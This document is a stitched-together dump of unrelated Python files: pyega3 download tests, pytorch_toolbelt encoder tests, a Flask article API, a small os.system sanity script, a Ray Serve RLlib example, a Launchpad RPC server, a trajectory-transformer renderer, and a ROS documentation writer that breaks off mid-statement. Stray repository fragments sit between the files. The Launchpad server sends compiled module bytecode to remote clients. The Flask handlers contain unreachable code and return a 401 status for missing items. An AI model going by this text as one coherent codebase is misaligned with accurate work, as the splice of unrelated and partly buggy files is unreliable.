merged_bytes.extend(files_to_merge[os.path.basename(s)]) ): pyega3.merge_bin_files_on_disk( target_file_name, list(files_to_merge.keys()) ) mocked_remove.assert_has_calls( [mock.call(f) for f in list(files_to_merge.keys())[1:]] ) verified_bytes = 0 for f_content in files_to_merge.values(): f_len = len(f_content) self.assertEqual( f_content, merged_bytes[ verified_bytes : verified_bytes+f_len ] ) verified_bytes += f_len self.assertEqual( verified_bytes, len(merged_bytes) ) def test_md5(self): test_list = [ ("d41d8cd98f00b204e9800998ecf8427e", b""), ("0cc175b9c0f1b6a831c399e269772661", b"a"), ("900150983cd24fb0d6963f7d28e17f72", b"abc"), ("f96b697d7cb7938d525a2f31aaf161d0", b"message digest"), ("c3fcd3d76192e4007dfb496cca67e13b", b"abcdefghijklmnopqrstuvwxyz"), ("d174ab98d277d9f5a5611c2c9f419d9f", b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"), ("57edf4a22be3c955ac49da2e2107b67a", b"12345678901234567890123456789012345678901234567890123456789012345678901234567890") ] for md5, data in test_list: m_open = mock.mock_open(read_data=data) with mock.patch( "builtins.open", m_open ): fname = rand_str() with mock.patch('os.path.exists', lambda path:path==fname): result = pyega3.md5(fname) self.assertEqual(md5, result) @responses.activate @mock.patch('os.remove') @mock.patch("time.sleep", lambda secs:None ) @mock.patch("pyega3.pyega3.get_token", lambda creds: 'good_token' ) def test_download_file(self,mocked_remove): file_id = "EGAF00000000001" url = "https://ega.ebi.ac.uk:8051/elixir/data/files/{}".format(file_id) good_creds={"username":rand_str(),"password":(),"client_secret":rand_str()} mem = virtual_memory().available file_sz = random.randint(1, mem//512) file_name = "resulting.file" file_contents = os.urandom(file_sz) file_md5 = hashlib.md5(file_contents).hexdigest() mocked_files = {} def open_wrapper(filename, mode): filename = os.path.basename(filename) if filename not in mocked_files : if 'r' in mode: raise Exception("Attempt to read mock file before it was created.") mocked_files[filename] = bytearray() content = bytes(mocked_files[filename]) content_len = len(content) read_buf_sz = 65536 file_object = mock.mock_open(read_data=content).return_value file_object.__iter__.return_value = [content[i:min(i+read_buf_sz,content_len)] for i in range(0,content_len,read_buf_sz)] file_object.write.side_effect = lambda write_buf: mocked_files[filename].extend(write_buf) return file_object def parse_ranges(s): return tuple(map(int,re.match(r'^bytes=(\d+)-(\d+)$', s).groups())) def request_callback(request): auth_hdr = request.headers['Authorization'] if auth_hdr is None or auth_hdr != 'Bearer ' + 'good_token': return ( 400, {}, json.dumps({"error_description": "invalid token"}) ) start, end = parse_ranges( request.headers['Range'] ) self.assertLess(start,end) return ( 200, {}, file_contents[start:end+1] ) responses.add_callback( responses.GET, url, callback=request_callback ) with mock.patch('builtins.open', new=open_wrapper): with mock.patch('os.makedirs', lambda path: None): with mock.patch('os.path.exists', lambda path: os.path.basename(path) in mocked_files): def os_stat_mock(fn): fn=os.path.basename(fn) X = namedtuple('X','st_size f1 f2 f3 f4 f5 f6 f7 f8 f9') sr = [None] * 10; sr[0]=len(mocked_files[fn]); return X(*sr) with mock.patch('os.stat', os_stat_mock): with mock.patch( 'os.rename', lambda s,d: mocked_files.__setitem__(os.path.basename(d),mocked_files.pop(os.path.basename(s))) ): pyega3.download_file_retry( # add 16 bytes to file size ( IV adjustment ) good_creds, file_id, file_name+".cip", file_sz+16, file_md5, 1, None, output_file=None, genomic_range_args=None, max_retries=5, retry_wait=5 ) self.assertEqual( file_contents, mocked_files[file_name] ) # to cover 'local file exists' case pyega3.download_file_retry( good_creds, file_id, file_name+".cip", file_sz+16, file_md5, 1, None, output_file=None, genomic_range_args=None, max_retries=5, retry_wait=5 ) wrong_md5 = "wrong_md5_exactly_32_chars_longg" with self.assertRaises(Exception): pyega3.download_file_retry( good_creds, file_id, file_name+".cip", file_sz+16, wrong_md5, 1, None, output_file=None, genomic_range_args=None) mocked_remove.assert_has_calls( [ mock.call(os.path.join( os.getcwd(), file_id, os.path.basename(f) )) for f in list(mocked_files.keys()) if not file_name in f ], any_order=True ) with mock.patch('htsget.get') as mocked_htsget: pyega3.download_file_retry( good_creds, file_id, file_name+".cip", file_sz+16, file_md5, 1, None, output_file=None, genomic_range_args=("chr1",None,1,100,None), max_retries=5, retry_wait=5 ) args, kwargs = mocked_htsget.call_args self.assertEqual(args[0], 'https://ega.ebi.ac.uk:8051/elixir/data/tickets/files/EGAF00000000001') self.assertEqual(kwargs.get('reference_name'), 'chr1') self.assertEqual(kwargs.get('reference_md5'), None) self.assertEqual(kwargs.get('start'), 1) self.assertEqual(kwargs.get('end'), 100) self.assertEqual(kwargs.get('data_format'), None) with self.assertRaises(ValueError): pyega3.download_file_retry( "", "", "", 0, 0, 1, "key", output_file=None, genomic_range_args=None, max_retries=5, retry_wait=5 ) pyega3.download_file_retry( "", "", "test.gpg", 0, 0, 1, None, output_file=None, genomic_range_args=None, max_retries=5, retry_wait=5 ) @responses.activate @mock.patch("pyega3.pyega3.download_file_retry") def test_download_dataset(self, mocked_dfr): good_dataset = "EGAD00000000001" file1_sz = 4804928 file1_contents = os.urandom(file1_sz) file1_md5 = hashlib.md5(file1_contents).hexdigest() file2_sz = 5991400 file2_contents = os.urandom(file2_sz) file2_md5 = hashlib.md5(file2_contents).hexdigest() files = [ { "fileStatus": "not_available" }, { "checksum": file1_md5, "datasetId": good_dataset, "fileStatus": "available", "fileId": "EGAF00000000001", "checksumType": "MD5", "fileSize": file1_sz, "fileName": "EGAZ00000000001/ENCFF000001.bam.cip" }, { "checksum": file2_md5, "datasetId": good_dataset, "fileStatus": "available", "fileId": "EGAF00000000002", "checksumType": "MD5", "fileSize": file2_sz, "fileName": "EGAZ00000000002/ENCFF000002.bam" } ] with mock.patch("pyega3.pyega3.get_token", lambda creds: 'token' ): with mock.patch("pyega3.pyega3.api_list_authorized_datasets", lambda token: [good_dataset]): with mock.patch("pyega3.pyega3.api_list_files_in_dataset", lambda token, dataset_id: files ): creds={"username":rand_str(),"password":rand_str(),"client_secret":rand_str()} num_connections = 1 bad_dataset = "EGAD00000000666" pyega3.download_dataset( creds, bad_dataset, num_connections, None, None, None, 5,5 ) self.assertEqual( 0, mocked_dfr.call_count ) pyega3.download_dataset( creds, good_dataset, num_connections, None, None, None, 5,5 ) self.assertEqual( len(files)-1, mocked_dfr.call_count ) mocked_dfr.assert_has_calls( [mock.call(creds, f['fileId'], f['fileName'], f['fileSize'],f['checksum'],num_connections,None,None,None,5,5) for f in files if f["fileStatus"]=="available"] ) # files[1]["checksum"] = "wrong_md5_exactly_32_chars_longg" def dfr_throws(p1,p2,p3,p4,p5,p6): raise Exception("bad MD5") with mock.patch("pyega3.pyega3.download_file_retry", dfr_throws ): pyega3.download_dataset( creds, good_dataset, num_connections, None, None, None, 5,5 ) def test_generate_output_filename(self): folder = "FOO" file_id = "EGAF001" base_name = "filename" base_ext = ".ext" full_name = "/really/long/"+base_name+base_ext self.assertEqual( os.path.join(folder, file_id, base_name+base_ext), pyega3.generate_output_filename( folder, file_id, full_name , None ) ) folder = os.getcwd() self.assertEqual( os.path.join(folder, file_id, base_name+base_ext ), pyega3.generate_output_filename( folder, file_id, full_name , None ) ) self.assertEqual( os.path.join(folder, file_id, base_name+"_genomic_range_chr1_100_200"+base_ext+".cram" ), pyega3.generate_output_filename( folder, file_id, full_name , ( "chr1", None, 100, 200, "CRAM" ) ) ) if __name__ == '__main__': del(sys.argv[1:]) unittest.main(exit=False) tests/test_modules.py0 import pytest import torch import pytorch_toolbelt.modules.encoders as E from pytorch_toolbelt.modules.backbone.inceptionv4 import inceptionv4 from pytorch_toolbelt.modules.fpn import HFF from pytorch_toolbelt.utils.torch_utils import maybe_cuda, count_parameters skip_if_no_cuda = pytest.mark.skipif( not torch.cuda.is_available(), reason="Cuda is not available" ) @pytest.mark.parametrize( ["encoder", "encoder_params"], [ [E.Resnet34Encoder, {"pretrained": False}], [E.Resnet50Encoder, {"pretrained": False}], [E.SEResNeXt50Encoder, {"pretrained": False, "layers": [0, 1, 2, 3, 4]}], [E.SEResnet50Encoder, {"pretrained": False}], [E.Resnet152Encoder, {"pretrained": False}], [E.Resnet101Encoder, {"pretrained": False}], [E.SEResnet152Encoder, {"pretrained": False}], [E.SEResNeXt101Encoder, {"pretrained": False}], [E.SEResnet101Encoder, {"pretrained": False}], [E.SENet154Encoder, {"pretrained": False}], [E.WiderResnet16Encoder, {}], [E.WiderResnet20Encoder, {}], [E.WiderResnet38Encoder, {}], [E.WiderResnet16A2Encoder, {}], [E.WiderResnet20A2Encoder, {}], [E.WiderResnet38A2Encoder, {}], [E.EfficientNetB0Encoder, {}], [E.EfficientNetB1Encoder, {}], [E.EfficientNetB2Encoder, {}], [E.EfficientNetB3Encoder, {}], [E.EfficientNetB4Encoder, {}], [E.EfficientNetB5Encoder, {}], [E.EfficientNetB6Encoder, {}], [E.EfficientNetB7Encoder, {}], [E.DenseNet121Encoder, {}], [E.DenseNet161Encoder, {}], [E.DenseNet169Encoder, {}], [E.DenseNet201Encoder, {}], ], ) @torch.no_grad() @skip_if_no_cuda def test_encoders(encoder: E.EncoderModule, encoder_params): net = encoder(**encoder_params).eval() print(net.__class__.__name__, count_parameters(net)) print(net.output_strides) print(net.output_filters) input = torch.rand((4, 3, 256, 256)) input = maybe_cuda(input) net = maybe_cuda(net) output = net(input) assert len(output) == len(net.output_filters) for feature_map, expected_stride, expected_channels in zip( output, net.output_strides, net.output_filters ): assert feature_map.size(1) == expected_channels assert feature_map.size(2) * expected_stride == 256 assert feature_map.size(3) * expected_stride == 256 def test_hff_dynamic_size(): feature_maps = [ torch.randn((4, 3, 512, 512)), torch.randn((4, 3, 256, 256)), torch.randn((4, 3, 128, 128)), torch.randn((4, 3, 64, 64)), ] hff = HFF(upsample_scale=2) output = hff(feature_maps) assert output.size(2) == 512 assert output.size(3) == 512 def test_hff_static_size(): feature_maps = [ torch.randn((4, 3, 512, 512)), torch.randn((4, 3, 384, 384)), torch.randn((4, 3, 256, 256)), torch.randn((4, 3, 128, 128)), torch.randn((4, 3, 32, 32)), ] hff = HFF(sizes=[(512, 512), (384, 384), (256, 256), (128, 128), (32, 32)]) output = hff(feature_maps) assert output.size(2) == 512 assert output.size(3) == 512 @torch.no_grad() @skip_if_no_cuda def test_inceptionv4_encoder(): backbone = inceptionv4(pretrained=False) backbone.last_linear = None net = E.InceptionV4Encoder(backbone, layers=[0, 1, 2, 3, 4]).cuda() print(count_parameters(backbone)) print(count_parameters(net)) x = torch.randn((4, 3, 512, 512)).cuda() out = net(x) for fm in out: print(fm.size()) @torch.no_grad() @skip_if_no_cuda def test_densenet(): from torchvision.models import densenet121 net1 = E.DenseNet121Encoder() net2 = densenet121(pretrained=False) net2.classifier = None print(count_parameters(net1), count_parameters(net2))0 from flask import Blueprint, jsonify, request from flask_jwt import jwt_required from marshmallow import ValidationError from app_blog.extensions import db from app_blog.models import Article from app_blog.models.article import article_schema, articles_schema from app_blog.services.article_service import article_service articles_blueprint = Blueprint("articles", __name__, url_prefix="/articles") @articles_blueprint.route("", methods=["GET"]) def get_articles(): articles = article_service.get_articles() return jsonify(articles_schema.dump(articles)) @articles_blueprint.route("", methods=["POST"]) @jwt_required() def create_article(): data = request.get_json() if not data: return ( {"status": "error", "success": False, "message": "No input data provided"}, 400, ) # Валидируем входящие данные try: data = article_schema.load(data) except ValidationError as err: return err.messages, 422 return ( jsonify({"status": "error", "errors": err.messages, "success": False}), 422, ) article = article_service.create_article(data) return ( jsonify( {"status": "ok", "success": True, "result": article_schema.dump(article)} ), 201, ) @articles_blueprint.route("/", methods=["GET"]) def get_article(slug): article = Article.query.filter_by(slug=slug).first() if not article: return jsonify({"status": "error", "message": "Not found", "success": False}), 401 return jsonify(article_schema.dump(article)) @articles_blueprint.route("/", methods=["PUT"]) @jwt_required() def update_article(slug): article = Article.query.filter_by(slug=slug).first() if not article: return jsonify({"status": "error", "message": "Not found", "success": False}) data = request.get_json() if not data: return ( {"status": "error", "success": False, "message": "No input data provided"}, 400, ) # Валидируем входящие данные try: data = article_schema.load(data) except ValidationError as err: return err.messages, 422 return ( jsonify({"status": "error", "errors": err.messages, "success": False}), 422, ) article_service.update_article(article, data) return jsonify( {"success": True, "status": "Ok", "result": article_schema.dump(article)} ) @articles_blueprint.route("/", methods=["DELETE"]) @jwt_required() def delete_article(slug): article = Article.query.filter_by(slug=slug).first() if not article: return jsonify({"status": "error", "message": "Not found", "success": False}) db.session.delete(article) db.session.commit() return jsonify({"success": True, "status": "Ok"}) """ @file apprt_test_python_file.py """ ## # @addtogroup sanity sanity # @brief This is sanity component # @{ # @addtogroup apprt_test_python_file apprt_test_python_file # @brief This is apprt_test_python_file module # @{ ## import os os.system('touch /tmp/apprt_test_python_file.python') os.system('ls /tmp/apprt_test_python_file.python') ## # @} # @} ## """This example script shows how one can use Ray Serve to serve an already trained RLlib Policy (and its model) to serve action computations. For a complete tutorial, also see: https://docs.ray.io/en/master/serve/tutorials/rllib.html """ import argparse import gym import requests from starlette.requests import Request import ray import ray.rllib.agents.dqn as dqn from ray.rllib.env.wrappers.atari_wrappers import FrameStack, WarpFrame from ray import serve parser = argparse.ArgumentParser() parser.add_argument( "--framework", choices=["tf", "tf2", "tfe", "torch"], default="tf", help="The DL framework specifier.") parser.add_argument("--train-iters", type=int, default=1) parser.add_argument("--no-render", action="store_true") args = parser.parse_args() class ServeRLlibPolicy: """Callable class used by Ray Serve to handle async requests. All the necessary serving logic is implemented in here: - Creation and restoring of the (already trained) RLlib Trainer. - Calls to trainer.compute_action upon receiving an action request (with a current observation). """ def __init__(self, config, checkpoint_path): # Create the Trainer. self.trainer = dqn.DQNTrainer(config=config) # Load an already trained state for the trainer. self.trainer.restore(checkpoint_path) async def __call__(self, request: Request): json_input = await request.json() # Compute and return the action for the given observation. obs = json_input["observation"] action = self.trainer.compute_action(obs) return {"action": int(action)} def train_rllib_policy(config): """Trains a DQNTrainer on MsPacman-v0 for n iterations. Saves the trained Trainer to disk and returns the checkpoint path. Returns: str: The saved checkpoint to restore the trainer DQNTrainer from. """ # Create trainer from config. trainer = dqn.DQNTrainer(config=config) # Train for n iterations, then save. for _ in range(args.train_iters): print(trainer.train()) return trainer.save() if __name__ == "__main__": # Config for the served RLlib Policy/Trainer. config = { "framework": args.framework, # local mode -> local env inside Trainer not needed! "num_workers": 0, "env": "MsPacman-v0", } # Train the policy for some time, then save it and get the checkpoint path. checkpoint_path = train_rllib_policy(config) ray.init(num_cpus=8) # Start Ray serve (create the RLlib Policy service defined by # our `ServeRLlibPolicy` class above). client = serve.start() client.create_backend("backend", ServeRLlibPolicy, config, checkpoint_path) client.create_endpoint( "endpoint", backend="backend", route="/mspacman-rllib-policy") # Create the environment that we would like to receive # served actions for. env = FrameStack(WarpFrame(gym.make("MsPacman-v0"), 84), 4) obs = env.reset() while True: print("-> Requesting action for obs ...") # Send a request to serve. resp = requests.get( "http://localhost:8000/mspacman-rllib-policy", json={"observation": obs.tolist()}) response = resp.json() print("<- Received response {}".format(response)) # Apply the action in the env. action = response["action"] obs, reward, done, _ = env.step(action) # If episode done -> reset to get initial observation of new episode. if done: obs = env.reset() # Render if necessary. if not args.no_render: env.render() 1-10 # # MIT License # # Copyright 2017 Launchpad project contributors (see COPYRIGHT.md) # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # import marshal import importlib.util from contextlib import suppress import tinyrpc from django.db import transaction from django.utils import timezone from common.session import LaunchpadSession from dashboard.models import Client class LaunchpadServerSession(LaunchpadSession): def __init__(self, client_id): self.client_id = client_id super().__init__() # Register self as rpc server self._dispatcher.register_object('server', self) # Retrieve client to rpc server on the other end self.client = self._dispatcher.get_object('client') def on_connect(self, connection): try: with transaction.atomic(): client = Client.objects.get(client_id=self.client_id) client.date_connected = timezone.now() client.save() except Client.DoesNotExist as e: raise ConnectionError() from e else: super().on_connect(connection) def on_disconnect(self): super().on_disconnect() with suppress(Client.DoesNotExist): with transaction.atomic(): client = Client.objects.get(client_id=self.client_id) client.date_disconnected = timezone.now() client.save() @tinyrpc.public def import_module(self, module_name): try: spec = importlib.util.find_spec(module_name) if not spec: return None with open(spec.origin, 'rb') as fp: return marshal.dumps(compile(fp.read(), '', 'exec')) except FileNotFoundError: return None SeanNobel/trajectory-transformertrajectory/utils/rendering.py import time import sys import numpy as np import matplotlib.pyplot as plt import torch import gym import mujoco_py as mjc import pdb from .arrays import to_np from .video import save_video, save_videos from ..datasets import load_environment, get_preprocess_fn def make_renderer(args): render_str = getattr(args, 'renderer') render_class = getattr(sys.modules[__name__], render_str) ## get dimensions in case the observations are preprocessed env = load_environment(args.dataset) preprocess_fn = get_preprocess_fn(args.dataset) observation = env.reset() observation = preprocess_fn(observation) return render_class(args.dataset, observation_dim=observation.size) def split(sequence, observation_dim, action_dim): assert sequence.shape[1] == observation_dim + action_dim + 2 observations = sequence[:, :observation_dim] actions = sequence[:, observation_dim:observation_dim+action_dim] rewards = sequence[:, -2] values = sequence[:, -1] return observations, actions, rewards, values def set_state(env, state): qpos_dim = env.sim.data.qpos.size qvel_dim = env.sim.data.qvel.size qstate_dim = qpos_dim + qvel_dim if 'ant' in env.name: ypos = np.zeros(1) state = np.concatenate([ypos, state]) if state.size == qpos_dim - 1 or state.size == qstate_dim - 1: xpos = np.zeros(1) state = np.concatenate([xpos, state]) if state.size == qpos_dim: qvel = np.zeros(qvel_dim) state = np.concatenate([state, qvel]) if 'ant' in env.name and state.size > qpos_dim + qvel_dim: xpos = np.zeros(1) state = np.concatenate([xpos, state])[:qstate_dim] assert state.size == qpos_dim + qvel_dim env.set_state(state[:qpos_dim], state[qpos_dim:]) def rollout_from_state(env, state, actions): qpos_dim = env.sim.data.qpos.size env.set_state(state[:qpos_dim], state[qpos_dim:]) observations = [env._get_obs()] for act in actions: obs, rew, term, _ = env.step(act) observations.append(obs) if term: break for i in range(len(observations), len(actions)+1): ## if terminated early, pad with zeros observations.append( np.zeros(obs.size) ) return np.stack(observations) class DebugRenderer: def __init__(self, *args, **kwargs): pass def render(self, *args, **kwargs): return np.zeros((10, 10, 3)) def render_plan(self, *args, **kwargs): pass def render_rollout(self, *args, **kwargs): pass class Renderer: def __init__(self, env, observation_dim=None, action_dim=None): if type(env) is str: self.env = load_environment(env) else: self.env = env self.observation_dim = observation_dim or np.prod(self.env.observation_space.shape) self.action_dim = action_dim or np.prod(self.env.action_space.shape) self.viewer = mjc.MjRenderContextOffscreen(self.env.sim) def __call__(self, *args, **kwargs): return self.renders(*args, **kwargs) def render(self, observation, dim=256, render_kwargs=None): observation = to_np(observation) if render_kwargs is None: render_kwargs = { 'trackbodyid': 2, 'distance': 3, 'lookat': [0, -0.5, 1], 'elevation': -20 } for key, val in render_kwargs.items(): if key == 'lookat': self.viewer.cam.lookat[:] = val[:] else: setattr(self.viewer.cam, key, val) set_state(self.env, observation) if type(dim) == int: dim = (dim, dim) self.viewer.render(*dim) data = self.viewer.read_pixels(*dim, depth=False) data = data[::-1, :, :] return data def renders(self, observations, **kwargs): images = [] for observation in observations: img = self.render(observation, **kwargs) images.append(img) return np.stack(images, axis=0) def render_plan(self, savepath, sequence, state, fps=30): ''' state : np.array[ observation_dim ] sequence : np.array[ horizon x transition_dim ] as usual, sequence is ordered as [ s_t, a_t, r_t, V_t, ... ] ''' if len(sequence) == 1: return sequence = to_np(sequence) ## compare to ground truth rollout using actions from sequence actions = sequence[:-1, self.observation_dim : self.observation_dim + self.action_dim] rollout_states = rollout_from_state(self.env, state, actions) videos = [ self.renders(sequence[:, :self.observation_dim]), self.renders(rollout_states), ] save_videos(savepath, *videos, fps=fps) def render_rollout(self, savepath, states, **video_kwargs): images = self(states) save_video(savepath, images, **video_kwargs) class KitchenRenderer: def __init__(self, env): if type(env) is str: self.env = gym.make(env) else: self.env = env self.observation_dim = np.prod(self.env.observation_space.shape) self.action_dim = np.prod(self.env.action_space.shape) def set_obs(self, obs, goal_dim=30): robot_dim = self.env.n_jnt obj_dim = self.env.n_obj assert robot_dim + obj_dim + goal_dim == obs.size or robot_dim + obj_dim == obs.size self.env.sim.data.qpos[:robot_dim] = obs[:robot_dim] self.env.sim.data.qpos[robot_dim:robot_dim+obj_dim] = obs[robot_dim:robot_dim+obj_dim] self.env.sim.forward() def rollout(self, obs, actions): self.set_obs(obs) observations = [env._get_obs()] for act in actions: obs, rew, term, _ = env.step(act) observations.append(obs) if term: break for i in range(len(observations), len(actions)+1): ## if terminated early, pad with zeros observations.append( np.zeros(observations[-1].size) ) return np.stack(observations) def render(self, observation, dim=512, onscreen=False): self.env.sim_robot.renderer._camera_settings.update({ 'distance': 4.5, 'azimuth': 90, 'elevation': -25, 'lookat': [0, 1, 2], }) self.set_obs(observation) if onscreen: self.env.render() return self.env.sim_robot.renderer.render_offscreen(dim, dim) def renders(self, observations, **kwargs): images = [] for observation in observations: img = self.render(observation, **kwargs) images.append(img) return np.stack(images, axis=0) def render_plan(self, *args, **kwargs): return self.render_rollout(*args, **kwargs) def render_rollout(self, savepath, states, **video_kwargs): images = self(states) #np.stack(states, axis=0)) save_video(savepath, images, **video_kwargs) def __call__(self, *args, **kwargs): return self.renders(*args, **kwargs) ANTMAZE_BOUNDS = { 'antmaze-umaze-v0': (-3, 11), 'antmaze-medium-play-v0': (-3, 23), 'antmaze-medium-diverse-v0': (-3, 23), 'antmaze-large-play-v0': (-3, 39), 'antmaze-large-diverse-v0': (-3, 39), } class AntMazeRenderer: def __init__(self, env_name): self.env_name = env_name self.env = gym.make(env_name).unwrapped self.observation_dim = np.prod(self.env.observation_space.shape) self.action_dim = np.prod(self.env.action_space.shape) def renders(self, savepath, X): plt.clf() if X.ndim < 3: X = X[None] N, path_length, _ = X.shape if N > 4: fig, axes = plt.subplots(4, int(N/4)) axes = axes.flatten() fig.set_size_inches(N/4,8) elif N > 1: fig, axes = plt.subplots(1, N) fig.set_size_inches(8,8) else: fig, axes = plt.subplots(1, 1) fig.set_size_inches(8,8) colors = plt.cm.jet(np.linspace(0,1,path_length)) for i in range(N): ax = axes if N == 1 else axes[i] xlim, ylim = self.plot_boundaries(ax=ax) x = X[i] ax.scatter(x[:,0], x[:,1], c=colors) ax.set_xticks([]) ax.set_yticks([]) ax.set_xlim(*xlim) ax.set_ylim(*ylim) plt.savefig(savepath + '.png') plt.close() print(f'[ attentive/utils/visualization ] Saved to: {savepath}') def plot_boundaries(self, N=100, ax=None): """ plots the maze boundaries in the antmaze environments """ ax = ax or plt.gca() xlim = ANTMAZE_BOUNDS[self.env_name] ylim = ANTMAZE_BOUNDS[self.env_name] X = np.linspace(*xlim, N) Y = np.linspace(*ylim, N) Z = np.zeros((N, N)) for i, x in enumerate(X): for j, y in enumerate(Y): collision = self.env.unwrapped._is_in_collision((x, y)) Z[-j, i] = collision ax.imshow(Z, extent=(*xlim, *ylim), aspect='auto', cmap=plt.cm.binary) return xlim, ylim def render_plan(self, savepath, discretizer, state, sequence): ''' state : np.array[ observation_dim ] sequence : np.array[ horizon x transition_dim ] as usual, sequence is ordered as [ s_t, a_t, r_t, V_t, ... ] ''' if len(sequence) == 1: # raise RuntimeError(f'horizon is 1 in Renderer:render_plan: {sequence.shape}') return sequence = to_np(sequence) sequence_recon = discretizer.reconstruct(sequence) observations, actions, *_ = split(sequence_recon, self.observation_dim, self.action_dim) rollout_states = rollout_from_state(self.env, state, actions[:-1]) X = np.stack([observations, rollout_states], axis=0) self.renders(savepath, X) def render_rollout(self, savepath, states, **video_kwargs): if type(states) is list: states = np.stack(states, axis=0)[None] images = self.renders(savepath, states) class Maze2dRenderer(AntMazeRenderer): def _is_in_collision(self, x, y): ''' 10 : wall 11 : free 12 : goal ''' maze = self.env.maze_arr ind = maze[int(x), int(y)] return ind == 10 def plot_boundaries(self, N=100, ax=None, eps=1e-6): """ plots the maze boundaries in the antmaze environments """ ax = ax or plt.gca() maze = self.env.maze_arr xlim = (0, maze.shape[1]-eps) ylim = (0, maze.shape[0]-eps) X = np.linspace(*xlim, N) Y = np.linspace(*ylim, N) Z = np.zeros((N, N)) for i, x in enumerate(X): for j, y in enumerate(Y): collision = self._is_in_collision(x, y) Z[-j, i] = collision ax.imshow(Z, extent=(*xlim, *ylim), aspect='auto', cmap=plt.cm.binary) return xlim, ylim def renders(self, savepath, X): return super().renders(savepath, X + 0.5) #--------------------------------- planning callbacks ---------------------------------# 0 from os.path import join from .formatConverters import FileExtension, MarkdownToHtml, MARKDOWN, HTML # String to tag things as needing work TODO_DESC = "TODO: description" class NodeInfo: """The NodeInfo class contains all the information pertaining to a single ROS Node. This keeps track of the published topics, subscribed topics, parameters, and services used or provided by this node. """ def __init__(self, nodeName): """Create a NodeInfo object. * nodeName -- the name of the node """ self.__nodeName = nodeName # Info about a node self.__params = [] self.__pubs = {} self.__subs = {} self.__services = {} def getCleanName(self): """Get a clean name for this node so that it can be used as a filename. """ # Create a node name that can be used as a filename cleanNodeName = self.__nodeName.replace("/", "_") if cleanNodeName.startswith("_"): cleanNodeName = cleanNodeName[1:] return cleanNodeName def addParam(self, param): """Add a parameter to this node. * param -- the parameter """ if param not in self.__params: self.__params.append(param) def addPub(self, topic, pubType): """Add a published topic to this node. * topic -- the published topic * pubType -- the type of data """ self.__pubs[topic] = pubType def addSub(self, topic, subType): """Add a subscribed topic to this node. * topic -- the subscription topic * pubType -- the type of data """ self.__subs[topic] = subType def addService(self, service, serviceType): """Add a service to this node. * service -- the service * serviceType -- the type of service """ self.__services[service] = serviceType def document(self, outputDir, docFormat=MARKDOWN): """Document the information pertaining to the nodes. * outputDir -- the directory where the documentation will be output * docFormat -- the desired format of the documentation """ lines = [ "# The %s node" % self.__nodeName, "", ] # Document parameters lines.extend([ "## Parameters:", ]) for name in sorted(self.__params): name = self.__removeNamespace(name) lines.append("- %s [TODO: type] -- %s" % (name, TODO_DESC)) # Document services lines.extend([ "", "## Services:", ]) sortedServices = sorted(self.__services.keys()) for name in sortedServices: serviceType = self.__services[name] name = self.__removeNamespace(name) lines.append("- %s [%s] -- %s" % (name, serviceType, TODO_DESC)) # Document subscriptions lines.extend([ "", "## Subscribers:", ]) sortedSubs = sorted(self.__subs.keys()) for name in sortedSubs: subType = self.__subs[name] name = self.__removeNamespace(name) lines.append("- %s [%s] -- %s" % (name, subType, TODO_DESC)) # Document publications lines.extend([ "", "## Publishers:", ]) sortedPubs = sorted(self.__pubs) for name in sortedPubs: pubType = self.__pubs[name] name = self.__removeNamespace(name) lines.append("- %s [%s] -- %s" % (name, pubType, TODO_DESC)) cleanNodeName = self.getCleanName() extension = FileExtension.get(docFormat) filename = join(outputDir, "%s.%s" % (cleanNodeName, extension)) # Convert the markdown format if docFormat == HTML: lines = MarkdownToHtml.convert(lines) # Write the data to the file fd = open(filename, "w") fd.write("%s\n" % "\n".join(lines)) fd.close() def __removeNamespace(self, namespace): """Update the given namespace to remove the private namespace for this node, if it exists. * namespace -- the namespace item (topic, parameter, etc) """ if namespace.startswith(self.__nodeName): namespace = namespace.replace(self.__nodeName, "~", 1) return namespace class RosDocWriter: """The RosDocWriter class manages data for a set of nodes and makes it possible to generate documentation for all of those nodes. """ def __init__(self, nodeNames): """Create a RosDocWriter object. * nodeNames -- the list of node names to monitor (all nodes will be monitored if the list is empty) """ self.__nodeNames = nodeNames self.__nodes = {} for nodeName in nodeNames: self.__nodes[nodeName] = NodeInfo(nodeName) def addParam(self, nodeName, param): """Add a parameter to a node. * nodeName -- the node * param -- the parameter """ if self.__hasNode(nodeName): self.__getNode(nodeName).addParam(param) def addPub(self, nodeName, topic, pubType): """Add a published topic to a node. * nodeName -- the node * topic -- the published topic * pubType -- the type of data """ if self.__hasNode(nodeName): self.__getNode(nodeName).addPub(topic, pubType) def addSub(self, nodeName, topic, subType): """Add a subscribed topic to a node. * nodeName -- the node * topic -- the subscribed topic * subType -- the type of data """ if self.__hasNode(nodeName): self.__getNode(nodeName).addSub(topic, subType) def addService(self, nodeName, service, serviceType): """Add a service to a node. * nodeName -- the node * service -- the service topic * serviceType -- the type of data """ if self.__hasNode(nodeName): self.__getNode(nodeName).addService(service, serviceType) def document(self, outputDir, docFormat=MARKDOWN): """Document the information pertaining to the nodes. * outputDir -- the directory where the documentation will be output * docFormat -- the desired format of the documentation """ for nodeName, node in self.__nodes.items(): print (" Documenting %s..." % nodeName) node.document(outputDir, docFormat) # Write a manifest file to link to all other nodes, if there are # multiple nodes being documented if len(self.__nodes) > 0: print ("Creating documentation manifest...") self.__writeManifest(outputDir, docFormat) def __writeManifest(self, outputDir, docFormat=MARKDOWN): """Write the documentation manifest file which links to the documentation for all nodes. * outputDir -- the directory where the documentation will be output * docFormat -- the desired format of the documentation """ extension = FileExtension.get(docFormat) filename = "index" if docFormat == HTML else "README" manifest = join(outputDir, "%s.%s" % (filename, extension)) lines = [ "# ROS system documentation" "", "## Nodes", "", ] # Add links to all nodes in alphabetical order sortedNodes = 